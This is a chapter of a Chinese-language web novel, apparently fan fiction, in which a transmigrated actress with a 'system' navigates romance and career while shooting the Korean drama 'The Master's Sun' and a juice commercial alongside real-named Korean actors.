他忽然想到了09年，那也是一个平安夜。那个时候首尔街上的很多女生为了追求好看，在冬天都是光着腿，只为了露出好看的裙子和纤细的腿，就连羽绒服都是黑白灰三色。 宋玉妍完全不一样，也只有她不一样，她穿的严严实实。没有为了赶时髦去损害自己的健康，就连羽绒服也是款式过时的暗红色中长款。 那时他们经过一年的相处，互相心动。那天李正宰特地定了一家装修昂贵的餐厅，提前和餐厅的小提琴手，约定了一曲90年代韩国很流行、很浪漫的情歌。 当她一进餐厅时，李正宰主动帮她取下围巾时，看到她的手足无措的样子只觉得可爱。 也许是因为穿着和餐厅的氛围格格不入。在用餐的时候，宋玉妍的头一直都是微微垂着，像一只埋在自己洞穴里的兔子，不敢抬头去看看外界。 他只觉得对方像是一个青涩而又散发着甜香的水蜜桃，只想据为己有。当时的宋玉妍永远不知道，在他这里，她永远无需因为外在的物质而自卑。 脖颈到耳垂浮现的淡粉，泄露出的少女心事，让他久违地感受到少年时候的怦然心动。就连羞怯和微微蹙着的眉头十分动人，老旧的穿着都无损她美貌的一丝一毫。 他掏出少女心配色的粉白相间的玫瑰花束时，用略带笃定的语气说出：“我想把今天变成我们之间的一日。” 宋玉妍只是沉默，并没有没有收下玫瑰花束，也没有收下他的告白。让李正宰有些疑惑，他以为两人早就心意相通。 但属于成熟男人的体贴，让他没有刨根问底，也没有问出一句为什么？ 明明他也是能感受到宋玉妍对他有好感的。两人的深思熟虑给予了这段感情足够的尊重，一年时间也足够让他们互相了解。 他依旧什么都没有问，只是在吃完饭之后，很有绅士风度地把对方送了回去。那个时候，李正宰做好了这辈子，和对方都不再见面的打算。 但在下车时，宋玉妍天人交战了很久，还是鼓起勇气说道：“李正宰xi，你让我思考一下可以吗？” 她的眉间永远萦绕着几分忧愁，像是初秋暮蓝色的夜空中孤零零的弯月，又像是横在汪洋上的一片孤舟，也像是富士山上化不开的积雪。 他想问，但是在没有得到名正言顺的身份之前，并没有过多去窥探对方的私生活。 终于在10年的第一天，他得到了对方肯定的答复。当时的心情？开心是有的。但是那一瞬间，情绪没有到欣喜若狂的地步。 李正宰从小就知道，人生中没有什么比他自己更重要。 “在一起之后，我们……那两人的想法完全不一样，一个在圈子里面待的够久了。”他又踢开身后的转椅，站起来后又从黑棕色餐边柜里拿出一瓶新的威士忌。 讲故事当然要配烈酒。 他自顾自地给自己加了冰块、倒了一杯。然后看向郑宇盛，“你知道的，我们这样在圈子里呆久了人知道什么对自己更好！她就不一样……还是很天真。” 天真地以为这个圈子只要有演技就可以接到好剧本。剧组外的应酬？不重要！人脉关系？不重要！媒体的宣传？不重要！ 他从来就没有提过，有多少本子是他拜托了多少人，然后不让宋玉妍知道，悄悄递到她经纪人的手里。 郑宇盛有些不知道该说些什么，在他看来三观不一样的人还是不要谈恋爱的好。两个想法不一样的人，就算因为一时情浓在一起。在不断地接触时，还会不断暴露出矛盾。 恋人总是会希望对方为自己改变。就像是两块不合适的拼图，为了拼凑在一起，只能用刀把自身的形状划的遍体鳞伤。 李正宰心中郁闷，拿起酒杯，一闷而下。“后面分手之后，对方遭遇了种种，我……”他的思绪是真的有些不清醒，但还是强撑着说完，“我当时真的想得是好聚好散。这段感情里，她累我也累……” 大概是真的有些醉了，他把西装外套的扣子全部解开后，整个人半趴在大理石上。“但是对方就一直在我的生活里出现，哪哪都是她。就差首尔所有的广告牌上全是她了！后面有一次相遇的时候，她甚至说只做床伴……” 然后颤抖地指了指自己的脸，“多可笑啊！曾经的恋人变成床伴。”冰凉能给李正宰带来一丝慰藉，让他头晕又刺痛的身体好受一点。 郑宇盛听到最后那个词的时候，整个人都呆立在原处，不敢相信自己耳朵里听到的。宋玉妍居然还想着和自家兄弟做床伴？这是不是说明对方也不是完全放下了这段感情呢？ 他深吸一口气，只打算以后少参和这两人之间的感情。看到李正宰已经醉倒，只能任命地扶他回自家客房，然后给他收拾妥当。 只是在夜深人静的时候，郑宇盛心里闪现过一个离谱的念头，床伴的话，他好像也不是不可以！ 因为想法过于离谱，所以被他立马赶出脑海。 —— 在和老板打电话的时候还得满足他的八卦之心。郑宇盛和李正宰都是和裴永俊同时期的演员，瓜还是要吃熟人的才香。 “李正宰xi和郑宇盛xi到底谁是你前男友？”他是真的很好奇，那天去完酒会看到那两位争抢着要送宋玉妍。 这段时间他更是抓肝挠心地想知道答案。能让那两位十年如一日要好的朋友，关系变得剑拔弩张，自家艺人到底是有什么魅力？ 电话一旁的宋玉妍是真的无语凝噎，就这样的一个问题还追着问，一点意思都没有。 她还想知道，小报报道过代表在日本做过牛郎。靠着讨富婆欢心，才赚到开公司的第一桶金是不是真的。 这个话她不能问出口，要是问出口了，好不容易才签上的经纪公司，又得被扫地出门。 宋玉妍只能在电话这头敷衍地笑了笑，不想回应自家老板八卦之心，就让他猜去吧！他做梦都想不到，那两位都是！ 八卦完之后，裴永俊开始商量正事，这也表现了他对宋玉妍的重视。不然他才没有精力一个一个地过问旗下每个演员。目前keyeast有这种待遇的，也就她和金秀闲两位艺人罢了。 在听完她说作家准备给她加戏的打算后。他思考了一下，回复道：“这个事情你别管了，就当不知道，后面宣传的话，在以男女主cp为主情况下，公司也会适当发力。” 宋玉妍：“内。” 裴永俊又继续说道：“在剧组你还是要和男女主保持良好的关系，在这个圈子里，少树敌多交朋友肯定没有坏处。” “内！” 配角当然可以上桌吃饭，但是为了自己上桌，把前期抗收视的主角踹下桌，这吃相就很难看了！ 他从办公室抽屉里拿出了一份合同，赫然是一份广告的意 向约。想到其他合伙人建议把和金秀闲拍cf的机会，留给其他新人。话里话外的意思就是觉得宋玉妍年纪偏大，不配公司在她身上押宝。 裴永俊嗤笑一声，论投资，他还没有失手过。大笔一挥，在演员那一栏签下宋玉妍和金秀闲的大名。 《主君的太阳》首播定在sbs电视台周末晚上的八点档。把黄金时间空了出来，足以说明电视台对这部剧的期望有多大了。 周末，导演难得地没有赶工，而是大手笔地包下了一个居酒屋。邀请所有主创观看《主君的太阳》。 宋玉妍到的并不算早，首尔连绵不断的雨滴让她的内心有些烦闷。胸口像是捂了块大石头，呼吸不畅，整个人心里堵得慌。 她把长柄黑伞收起，伞上的雨珠顺着她甩落的动作留在木质长廊外的草坪上。随手把伞随手搁在外柱旁，想把它和乌蒙蒙的天气一起留在门外。 推开有些年头的黄梨木门，她脱下了鞋，朝着屋内鞠了一躬。“米亚内，我来晚了！” 导演心事有些重重，但是看到宋玉妍时，还是勉强扯出一丝笑容。“我们的剧还没有开始播，还不算晚！”然后有继续捻弄着他手里香烟顶部的烟丝。 洪作家没有来，跟组作家倒是来了三个。宋玉妍看到金善英和徐仁果中间正好有空位，和大家打了个招呼之后，径直走过去坐下。衣角处星星点点的水珠迤逦而下，地板上深一块浅一块的。 徐仁果看到她风衣的背部都被雨水浸透，忍不住发问：“没有带伞吗？” “带了，但之前雨太大了。”宋玉妍有些无奈，狂风加暴雨，没有人能在这样的天气里独善其身。 对方也没有说什么，只是招来服务生，在他耳旁说了几句。 她对面恰好是正对着孔孝真，两人不经意间对视了一眼，对方回以一个不尴不尬、疏离地笑容。看到这个笑容，宋玉妍就知道两人之间的关系回不到过去。 女主应该是听说过加戏的传言，不管之前关系再怎么好。一旦涉及到各自利益时，大家都会收回曾经付出的那点真情实意，然后重新挂上虚情假意的面具。 只是可惜，还是很怀念控制体重的那段时间。从孔孝真的便当里抢走半根小香肠，是宋玉妍减肥时为数不多的乐趣。偶尔她也会给对方带一些迷你饭团，一口一个，当作小零食。 每次都收到她的各种赞不绝口，又方便又能平衡健康和美味的低脂食物很难找。宋玉妍永远都不会告诉对方，孔孝真最喜欢的口味，牛油果培根也是前世饭团（一只猫咪）的最爱。 之前在片场搬两把小马扎，两人坐在导演旁边，膝盖上盖着同一块灰色毛毯。互相分享食物，一边一起聊八卦、听导演讲戏的时光终于是一去不返了。 “拿这个毛巾擦一下吧。”徐仁果从服务生手里接过毛巾，递了过去。居酒屋昏暗的环境很好地掩饰了他通红的耳根。 心跳在暗处默默加速，“砰、砰、砰”，撞得胸口直疼，身旁若有似无的玫瑰味被无限放大。 “康桑密达。”宋玉妍接过，脱下风衣后，胡乱地往后脖颈处擦了两下。 他看到对方发尾还是湿漉漉的，不把身体当回事的样子，暗不可闻地在心底叹了口气。按下自己想要帮忙的冲动，只是倒了杯温热大麦茶放在她手边。 不知道是不是因为受凉的原因，宋玉妍忽然觉得鼻子有些塞，嗅觉失灵，大麦茶的怪味让她秀气的鼻头皱了皱。 角落里的这片动静无人察觉，除了白善英敏锐地捕捉到暗地里两人之间的暧昧，瞬间灵感爆棚，自顾自地在手机备忘录上敲敲打打。 居酒屋内沉闷的气氛并没有随着首集的播出而缓解，收视率的压力让所有主创成员的脸上没有多少笑容。其他演员自然也是大气不敢出，生怕成为片场暴君的出气筒。 直到男女主的出场，能够看到灵异体的女主和信奉无神论的主君第一次碰面，就闹出了不少谛笑皆非的乐子。 宋玉妍看着戏里欢乐的气氛和戏外形成了鲜明的对比，黛眉浅皱了一下。只有身旁把注意力一直放在她身上的徐仁果察觉到她的不适。 好在导演觉得还是要给男女主面子，把手上沾染的烟丝碎屑拍掉。“wuli孝真和苏志燮xi的表演是真的很不错呢。”说完还刻意地笑了笑，用力地鼓掌，表示对男女主表现的认可。 他的这个举动像是打开了什么开关一般，屋内所有人都开始围着孔孝真和苏志燮。众人连忙绞尽脑汁般从脑海里搜挂夸赞的词汇，然后干巴巴地为主演奉上。 每个人都想给导演面子，把这个场子给热起来，凝固的气氛真的让人如坐针毡。这样一来倒颇有几分鲜花着锦的感觉，宋玉妍没有去凑这个热闹，自顾自地捧着温热的玻璃杯坐在墙角。 随大流附和了两句的徐仁果，转身看到她恹恹的表情，不自觉地问出口：“是不太适应这种场合吗？”话一出口才发现自己失言了，这样一问显得很没有边界感。 宋玉妍没想到自己受原主的影响，不喜欢这种社交场所的情绪被人发现了。她面上一怔，随后满口否认，“阿尼，可能是淋了雨有些受凉，现在脑袋昏沉。” 他没有刨根问底，转而说起了自己的经历。“我在高中就组了乐队，很喜欢音乐，到毕业之后也顺利进入了歌谣界，发了唱片。” 一听歌谣界，她来了兴趣，连忙侧身问到：“那你上过打歌舞台吗？”对方能作为solo歌手出道，唱功自然毋庸置疑。 宋玉妍靠得更近了，水润的眼睛专注地看着徐仁果，仿佛眼底只有他一个人。 “当然，新人为了音源怎么可能不去电视台打歌，只是我的打歌舞台没有爱豆的那么花哨。”看到她额角的细汗，他递过纸巾，然后指了指。 “这么说，那肯定有很多爱豆拿着自己的专辑，来待机拜访你，希望你多多支持。”她为这一瞬间的温柔心跳漏了拍，接过纸巾攥在手里。 徐仁果想到作为新人的自己，第一次看到五六个团体成员，一起给他鞠躬问好的时候还被吓了一跳。“当时打歌后台很紧凑，我就记得自己很紧张，和人打招呼也很堂皇。” “你这张脸完全看不出紧张好吗！”她是完全想不到，有人长着一张高冷酷哥脸，然后在暗地里默默紧张。 为了达到自己的恶趣味，宋玉妍还打开听歌软件，输入他的名字。《请回答1997》的歌单第一时间跳了出来，她点开最上方的《allofyou》。忽略对方红透的脸庞，静静听完。 “大发，听得我都想恋爱了呢！”徐仁果xi的唱功是真的很不错，申导也一直都喜欢用有声乐功底的演员做主演。 听到这话，他红透的耳根愈加发烫，根本不敢看她一眼。思绪却忍不住乱想，宋玉妍是不是……对他并非全无好感？ “你和郑蒽地的声音好搭啊！看来我回去要补一下《1997》了，说不定还会变成你们的cp粉！”她刻意地夸赞，像是想要掩饰刚刚心脏跳漏的那一拍。 听到这话的徐仁果脸上的红晕一瞬间消退干净，甚至透着一丝苍白。但是他还是不想放弃，用干哑的声音，固执地问道：“宋玉妍xi，可以给我你的私人联系方式吗？” 听到对方的请求，宋玉妍只当做是因为后续宣传需要。“等公司帮我开通ins账号，我让助理加你。” “阿尼，不是。我…想要私下的，只是想和你成为……亲故。”徐仁果到底还是没有把想要变得亲近说出来。 宋玉妍当然没有理由推脱，想了一下还是打开了脸书的小号，示意他加。 他没有想到要联系方式这么顺利，在预想中，她应该只会给一个电话号码。能拿到脸书的账号已经是意外之喜了，这还不太容易被媒体扒出。 拿出手机时，徐仁果偶然瞟到对方联系人页面只闪过一个账号，如果没有看错的话备注是Leejungjae。 在输入账号时，他在自欺欺人地想着那位前辈 会是宋玉妍的恋爱对象吗？她脸书的账号居然只有他一个？之前并没有媒体曝光过两人之间的恋爱关系，所以应该只是猜测！ “大发，做到了！”不知不觉中，首播的剧集已经结束，导演接了电话之后兴奋地大喊，打断了徐仁果的思绪。 居酒屋内的众人先是被导演的举动给惊到了，随后被他后面的话给砸到狂喜。 “我们首播的收视率超过了17%，同时段第一。要知道，就算《那年冬天风在吹》拥有宋惠乔和赵寅城，收视率也才14%。” 导演身上的压力瞬间一轻，后续只要保持这个势头，拿下上半年的剧王也没有问题。他都已经想好，到时候参加百想要穿哪一件西服走红毯了。 巨大的狂喜让他捧起男主苏智燮的脸，在他右边脸颊狠狠亲了一口。“苏智燮xi！不愧是我们南韩四大公共财产之一，做的好！” 随后又走到孔孝真面前，面对功臣之一他拍了拍对方的肩膀。“不愧是万能cp体质，你和苏智燮xi后续好好营业cp，我们剧就稳了！” 想到sbs高层打来的电话，陈赫导演就完全止不住笑意。走到宋玉妍和徐仁果这边的时候，情绪已经稳定下来，他对两人勉励了几句就略了过去。 屋内的气氛再一次炒热推向高潮，处处觥筹交错。她当然也是欣喜的，但这份欣喜被香槟和烧酒混合的味道给冲淡了不少。 有工作人员开始摇晃着香槟，然后把它喷向更高处，仿佛之前冷凝的气氛荡然无存。 随意地喝了几杯后，宋玉妍借口明天还要出早戏，成为演员中第一个离开的。 —— 到了家之后，考试院的简陋的环境和之前居酒屋的纸醉金迷的氛围鲜明对比。 一瞬间，心理落差不可谓不大，她揉了揉昏胀的脑袋，风衣未脱直挺挺地躺在床上。手机铃声喋喋不休地在枕头边响起，她解锁划开。“yeoboseyo？” “宋玉妍xi，粗卡得密达（祝贺你），第一部主演的电视剧就能取得这么好的成绩！”裴永俊就知道自己没有看错人，这么快投资的回报就来了。 “代表nim，别打趣我了！”她有些无奈，明眼人都能看得出来，这部剧能火和配角关系不大。 有了成绩也没有自恃其高，裴永俊更加满意了。“后续公司会把宣传跟上，这个你不需要担心。对了，你不排斥炒绯闻吧！” 这可是电视剧演员走红最快的方式，谁没有吃过炒cp的红利？ “听公司安排！” 他听到自己满意的答案，心情复杂地把电话给挂了。 弘大楼下，离她家近的夜店今天没有放kpop音乐，应该是请了专门的dj打碟。宋玉妍这会并不觉得吵闹，只觉得每一个音符、每一个节拍都像是对她的祝贺。 就连平时能穿透窗帘的霓虹光都绚烂地格外好看。 等宋宿主熟睡之后，系统看了看任务进度条，在cpu中轻声说了句：「恭喜宿主。」 《主君的太阳》力压同期其他的电视剧，稳坐收视率第一的宝座后。明洞和江南的商场，纷纷换上苏智燮和孔孝真的巨幅海报。 她虽然还没有接到代言，但那是公司不想拉低她的格调。再怎么说也是忠武路出身，性价比太低的快销品只会迅速消耗人气，对宋玉妍来说百害而无一益。 趁着剧集的热播，裴永俊让金秀闲挪档期，抽时间把九日牌果汁的cf给拍了。 九日果汁的地位就相当于真露在烧酒届的地位，属于南韩每家烤肉店餐桌上的必备品。国民度高的快销品，加上搭档的又是去年大火的小生，再加上一波营销，裴永俊有信心这一波帮宋玉妍打开国民度。 崔玉珍顺着导航，把艺人带到首尔郊外一个简陋的摄影棚处，场务还在不断调整内里装饰的家居。忽略外观上的潦草，只看布景还是很温馨的。 这一次应该是广告方给老板面子，居然给她准备了专门的化妆室。 宋玉妍坐在化妆镜前，接受化妆师的涂涂抹抹。不一会，一个标准的韩式水光妆就在她脸上呈现了。 原本显得略微冷淡的丹凤眼被眼线勾勒成下垂圆眼，粉色的腮红在眼下、鼻尖和高光一起拌饭。睫毛根根分明加上浅淡的一字平眉，都是韩式妆容祖传的手艺。 她看着镜子里的自己，攻击性的线条都被弱化了下来。加上黑色的水波纹卷发，好看是好看，就是失去了自己的特色。 崔玉珍倒是很吃这种颜值，一直在宋玉妍旁边不停地夸夸，情绪价值拉满。她有些无奈，南韩很吃这种果汁系长相。 只有压抑的社会，才会要求女性的长相柔弱、没有攻击性。不是他们欣赏不了野心、具有攻击性的美丽，而是他们希望用一套固定的社会规训，把女性一直放在下位者、可支配者的位置上。 “宋玉妍xi，我们这边三个场景都搭建好了。”工作人员小心翼翼地过来提醒道。 刚刚去金秀闲的化妆室，里面的气氛只能用恐怖来形容。他的经纪人好像刚发过火，助理、化妆师……包括艺人，没有一个人搭理他。 “是导演准备拍摄了吗？”她起身拍了拍裙子上不存在的褶皱。 “内！”工作人员看到她比较好说话，忍不住松了一口气。 宋玉妍跟着工作人员的指引，来到了第一个摄影棚。金秀闲早就坐在沙发上，拿着葡萄味的果汁拍起单人的海报。 她也不着急，毕竟人家才是这次广告的主角。抱着欣赏的态度多看了两眼，秀气的长相、180的身高、年下、不错的演技，如果有八块腹肌的话，完全就是理想型。 想到李正宰没有同意她之前的提议，宋玉妍就思考要不要换一个目标，反正金秀闲也不算是任务目标，玩一玩应该没有关系吧？！ 对方经纪人应该是察觉到她不对劲的视线，一直在为自家艺人挡着。 她心下无奈，都还没有做什么，没有必要如此严防死守吧。 看他拍摄的进度一时半会结束不了，宋玉妍重新回到化妆间，补喷了一点香水。蔻依大马士革玫瑰的香味纯粹而清淡，和今天的打扮很是相符。 等重新回到拍摄棚时，都还没有来得及和金秀闲认识。导演让宋玉妍靠着金秀闲的肩膀，直接开始拍摄。 摄像机一闪，这张隐藏海报成为了后来粉丝争先收藏、有市无价的神作。 她看到对方经纪誓死捍卫自家艺人男德的眼神就觉得好笑。忍不住在摄影机拍不到的角落，宋玉妍把对方身上装饰用的毛衣链抽出一截，放在手心里默默把玩。 金秀闲只觉得整个人都要窒息了，为了不让清甜的玫瑰香味有恃无恐地往他身上钻，他只能用力屏住呼吸，直到整个人都被烧透。 又不能忤逆导演的要求变换姿势，和身边柔软的身体拉开一点距离，这样毫无缝隙地贴近让他很不适应。 偏偏宋玉妍更加得寸进尺，把脸埋进他的颈窝，然后不着痕迹地蹭了蹭。好像只是想感受一下他身上这件灰色毛衣的柔软度，碰到锁骨只是不小心。 拍摄需要而已，对方别想太多，宋玉妍无辜地咬了咬水润润的粉唇。 他那里见过这种阵仗，怎么会有女艺人在拍摄时候故作亲昵？她们要么是委托化妆师递联系方式，要么是想要朋友介绍认识，然后和他变得亲近起来。 看着金秀闲红地不能再红的耳根，宋玉妍不仅感叹keyeast是真的把他保护地很好。 她微微抬起头，把散落在他毛衣上灰色的头发全部抚到耳后，假装无事发生般地问到：“金秀闲xi，你的毛衣是那个牌子的呀，贴肤的舒适度很不错诶！” 他好不容易脸上温度下去一点，现在又涨上来了。过了好一会，才僵硬地回复道：“品牌方赠送的，我也不太清楚。” 宋玉妍就当没有看到他手都全部都蜷缩到衣袖里面，年下逗起来还挺可爱。“这样啊，好可惜，本来还想和你有同款。” 想到拍摄之前，经纪人就千叮咛万嘱咐，和她保持一点距离。而现在金秀闲却有帮她问 问服装师，衣服到底是哪一个品牌的冲动。 “宋玉妍xi，你喂他喝果汁。诶，好！这一幕过了。”导演原本还怕两人第一次合作，演不出情侣之间那些微妙的化学反应。 没想到这两人之间的氛围莫名相合，这让他工作压力瞬间少了很多，整个人都变得慈眉善目起来。 从烤肉店金秀闲帮她烤肉到两人同喝一瓶果汁；在家时两人玩闹，她一直闹着要伴侣帮自己开果汁；露营时两人搭完帐篷，在草坪上席地而坐，看着天幕一起喝着果汁…… “啊西，你们之间的氛围比果汁还要甜。”收工之后一位工作人员调侃了一句。 这句话瞬间让金秀闲的经纪人黑脸，直接把自家艺人拉走，谁知刚走两步就碰上了自家代表。 “呀！谁得罪了wuli金牌经纪人？这脸色比汉江的水还要黑了！”裴永俊抱着花，随口说了一句。 看到自家代表来了，他只能挂起笑脸，和金秀闲一起鞠躬。“代表nim。您怎么有时间过来了？” “顺道路过，就过来探班了。怎么样今天拍摄顺利吗？”裴永俊看到宋玉妍走了过来，就把手里的香槟玫瑰塞到她手上。 “还不错，挺顺利的。”他经纪人的这句话简直就像是从牙缝里挤出来的，成功把她给逗笑了。 两人的视线都忍不住放在她身上，看她笑容明媚，简直比半岛的春日还要灿烂几分。 “既然如此，那你帮我们一起拍张照吧。”老板提议道，然后让金秀闲经纪人去找摄影借设备。手机拍照像素不高，还容易把人的美貌拍糊。 本来是想让代表站中间的，但是他一直不愿意，嘴里一直说着什么绅士风度。 “可是你是老板啊。”宋玉妍现在可不敢抢c，容易被骂。 “sm公司李社长有一句名言，漂亮的孩子站中间，会让不那么漂亮的孩子看起来更漂亮。宋玉妍xi，就当是让我这张不怎么帅气的脸看起来帅气一点吧！”裴永俊一点都不介意拿自己长相开玩笑。 最后的结果就是，她抱着一束香槟玫瑰站在最中间。娇嫩的花瓣和翠色的加利叶上，是让花都黯然失色的脸蛋。左边的裴永俊和右边金秀贤，仿佛都成了花束里面的加利叶。 等裴永俊提出要送自己时，宋玉妍当然应允，这能和助理一起省笔打车费呢！只是老板有他自己的心思，直接把助理支走。 四座的迈巴赫只有前排被人占据，这次她能好好打量了。看着车厢里的听筒内饰，指着那个笑道：“没有人说过这个很老土吗？” 他也不生气，拿出眼镜戴上，“05年的时候，车里有一个听筒接电话还是很方便的。”等启动车子之后，两人的话题过度到工作上了。 “公司给你新开的ins账号，居然一天就有了5万follow。”裴永俊顺便说，公关部门的工作人员，把宋玉妍ins的第一个关注，点给了徐仁果。 对此她无所谓地笑了笑，表示不在乎。“后续的宣传还有什么计划？还有下一部戏什么时候试戏？” 香槟花束放在脚边，和暗色的皮革形成鲜明的对比。 “已经在帮你看本子了，尽量不用你去试，公司这点能量还是有的。新的经纪人后天就能和你对接……”裴永俊转着方向盘，话被旁边人的铃声打断。 宋玉妍一接起，就听到对面略微疲惫带着磁性的声音，很耳熟。这具身体对李正宰的戒断反应，也许再过好几个季度都没有办法缓解。 08年落在她人生肩头的那场初雪，让一个人冒然地闯入到她的生活。和李正宰分别对她来说既是每一个细胞盛大的狂欢，也可能是心脏深处那抹潮湿的阴雨。 “你之前说的……”对方好像用尽了所有的力气，才吐出这样一句话，“我答应了。” 电话那边的李正宰，把手机放在床头柜上开着免提，界面停在宋玉妍的脸书主页。原本关注那一栏的数字1，如今变成了2。 他手里夹着香烟，缕缕灰烟从顶端橙色的火星中冒出。焦躁、恐慌、不安、恼怒占据着他的大脑。他迫切地想要做些什么，来打破他们分手之后，横在两人之间那堵若有若无的壁垒。 第22章 第二十二章 “莫？”宋玉妍当然知道他说的是什么意思，但是她就不想让对方这么快如愿以偿。况且这还是在裴永俊的车上，那个词当着老板说不出口。 “你说的，床伴，我答应了！”李正宰声音有些咬牙切齿的意味，等他戒断反应缓解就好了。总归，这种事情，吃亏的总不会是男方。 在等红绿灯的间隙中，裴永俊一直支着耳朵听两人的谈话。不大的空间内，手机听筒的隔音效果没有想象中那么好，电话那边带着电流的声音有些耳熟。 他摩挲着方向盘上那个粽子标志，当那个词汇再次隐隐约约传来，让他怀疑自己听错。 “到时候再说。”宋玉妍不知道李正宰是从哪里得到自己新的电话号码，干脆利落地挂断了电话。 对面的李正宰忍不住一拳打在床垫上泄气，她这是什么意思？ 《主君的太阳》官方发宋玉妍和那个男的的花絮就足够刺眼了！那个徐什么的不会演戏做什么演员？就算是要讲戏靠那么近干什么？ 就连刚开通的ins大号居然第一个关注的也是他！李正宰只觉得徐仁果发的两人片场合照格外刺眼。 宋玉妍脸书小号新关注的也是他吗？他们是在一起了？还是暧昧阶段？是因为他所以才不需要自己了吗？他的脑海里纷纷扰扰。 嫉妒、不安、焦灼在他的内心交织，手上的火星一直没有断过。今晚的烦躁只有床头柜上烟灰缸里堆满的烟蒂知道。 夜色如幕，繁华地区的十字路**织成霓虹色的河流。前方的黄灯跳动了三下，随后把这片区域交给了绿灯，蓝色的迈巴赫在光影中穿过，像是去奔赴一场流动的盛宴。 “谈恋爱的话记得和公司报备。”驾驶位上的人好像全然为公司着想，冷静的语气里全是公事公办的态度。 宋玉妍有些不以为意，“并不是恋人，在没有拿到百想视后之前，是不会考虑恋爱的。” “是吗？”裴永俊脸上带出三分笑意，“公司没有禁止恋爱的条约，我们和那些爱豆不一样。” 演员靠演技和收视率吃饭，和为粉丝贩卖梦想的职业不同，可以选择的余地自然也就大很多了。 “内！和老板恋爱也可以吗？”宋玉妍边刷ins，一边好像是随口一提。 他忍不住踩了个急刹，车内两人猛的被甩了出去，随后又被安全带勾落回到座椅上。安全带把她姣好的身型完全给勾勒了出来，脖颈上白脂一般的肌肤仿佛在邀请人细细把玩。 “这种玩笑不要随便开！”裴永俊像是有些恼羞成怒，又像是被冒犯到有些不快，声音不自觉地拔高。 她有些莫名其妙地看了自家老板一眼，一个玩笑而已，反应这么大干什么？但还是迅速认错，“米亚内哟！代表nim，我下次再也不说这种话了。” 不知道内心的那一丝期待是怎么消失的，裴永俊对上她的笑脸，只觉得像是一拳打在棉花上的无力感袭来。就连对方敬语和平语混着说，他都无暇计较。 车很快就开到弘大了，豪车的出现在这边酒吧的附近吸引了无数目光。大家都在揣测车主是财阀还是哪位艺人？ 他找了个临时停车位，停靠好后，冷漠地吐出几个字，“下车。” 宋玉妍就当是不知道对方为什么情绪不佳，老老 实实地下车。没有了之前的嬉笑怒，。扎扎实实地鞠躬，然后道别：“代表nim，今天谢谢你捎我回来，路上小心。” 看着她的背影融进小巷的黑暗中，裴永俊摘下眼镜，摇下车窗想让夜风让他冷静一下。最后看着莫名其妙地笑了一下。 不合适。 他想要的是一个贤妻良母，能在家相夫教子，不需要太好看也不需要太有事业心。偶尔出席正式场合，刚好能够拿得出手就好。 裴永俊有种预感，和宋玉妍纠缠下去，他绝对会是落在下风的那个。从05年创办自己的公司，逐渐脱离演员的身份开始，他就不允许有脱离自己掌控的存在。 发热的脑袋和发动机一起冷却下来，下一秒重新启动，这一次速度不会太快，发动机不会过热了。 「宿主，你为什么要和裴永俊开那样的玩笑？」 「啊？我没有开玩笑啊。」宋玉妍懒洋洋地回复道，「我是认真的。奋斗好累啊，和老板谈恋爱的话，想要什么资源撒撒娇就好了。」 系统：…… 一时居然之间找不出话来反驳，听起来宿主好像也是为了任务着想。 —— 在剧组的时间就这样不紧不慢地过去了，《主君的太阳》后续收视率一路走高。宋玉妍感受最深的是，现在她去咖啡店会有人找她要合照了。 姜宇和太伊玲的感情线也不断发展，两个演员线下的交流也不断增多。徐仁果简直就是个百宝箱，每次她缺什么东西时，对方总能变出来。大到需要的剧本夹，小到在剧组小憩一会时的耳塞。 宋玉妍把自己手做的饭团给他递了过去，指指他的腿，关心道：“你脚踝上的伤好了吗？” “偶尔还是会隐隐作痛。”徐仁果苦笑了一下，他有大量的追逐戏和动作戏，受伤是难免的。 “送你的喷雾你用了吗？” “上面全是中文我一个字都看不懂。”他没有想到，当时宋玉妍还会给他送药，虽然对方嘴上说的是多出来的。 “真的是pabo，翻译器不会用吗？”宋玉妍狠狠地瞪了他一眼，她好不容易找华人买来的云南白药，居然不用？是打算供起来吗？ 打算回去让徐仁果把说明书发过来，她翻译一下，然后用脸书告诉他怎么用。 打开手上饭团的包装，颗颗圆润的米饭包裹着散发着油脂香的和牛，再配上低脂的肉松和一点酱油作为调味，看起来就让人食指大动。 “大发，宋玉妍xi，有你在剧组，我宁愿这部剧拍三年。”徐仁果迫不及待地咬了一口，食物温温热热地在味蕾上绽放。 他们也太好打发了，宋玉妍前世就喜欢做猫饭来缓解压力。现在不过是把做猫饭的精力挪了一点过来，就得到了一致好评。这让她有些好笑，一身厨艺没有用武之地。 “诶？除了给白作家的，多的那一个是？”他有些疑惑，对方都只会给他和白善英带，今天却多了一个。 犹豫了一会，她还是说了：“是给孔孝真xi的。”虽然之前因为传言要给男女二加一点感情线，但后续改动的幅度没有那么大。 那她们之前的那一点龃龉应该过去了吧！ “哦哦，我可以把你做的饭团发ins吗？”他的内心有着不可告人的小心思，想让外界觉得他们之间的关系再亲密一点。 之前在youtube上刷到了两个角色之间的单独cut，徐仁果没忍住给创作者点赞，顺便自己下载了下来。 “姜宇、太伊玲！”导演再好的脾气都忍不住发飙了，首尔地铁的这个景特别难借、拍摄时间很紧，这两个人还不上心，一直在嘻嘻哈哈。 宋玉妍把给孔孝真的饭团委托白善英转交，然后跑到边上等着导演喊action。 地铁上，群演按照台本说着台词，“太伊玲现在是整容了吗？完全比不上iu。” 徐仁果看着宋玉妍的脸蛋，很难想象作家是在什么样的精神状态下写出这段话的。 他尽力控制自己要笑场的冲动，用力咬着下唇。最后还是没有绷住，笑了出来。 虽然不知道他在笑什么，但是宋玉妍也被笑意感染。两人眉眼弯弯地在车厢里此起彼伏地发出笑声，群演都不明所以。 “呀！阿西，徐仁果你在搞什么啊？”导演有些暴躁，这个地铁的布景只有两个小时能使用。 “切送汗密达（非常非常抱歉），导演nim，我只是觉得，作家怎么能说宋玉妍这张脸整过容呢。” 这话一出，导演也仔仔细细地打量了一番，确是有些不合实际，对着这张脸怎么能忍心说出过气和整容的恶毒话呢？ 片场其他的工作人员听到徐仁果的话，也忍不住笑出声，一片欢乐的气氛。 调整好了后，又继续开始了。宋玉妍发现演这种爱情剧要有很强的信念感，她努力地一边把IU的《好日子》唱跑调，一边戳着姜宇的肩膀。 听到对方喊自己欧巴时，他就算知道这是拍戏，但还是按耐不住内心的欣喜。嘴角都快裂到耳后根，不值钱的笑容是怎么样都止不住的。 果不其然又被导演骂了，“徐仁果xi，你今天怎么回事？姜宇现在喜欢的是太恭实，就算太伊玲喜欢你，你也得保持面瘫、冷漠。” 明明之前他的演技还算是过得去，怎么今天这么重要的戏份一直在掉链子。 徐仁果也想啊，但是他控制不住自己的笑容，脑子晕晕乎乎的。 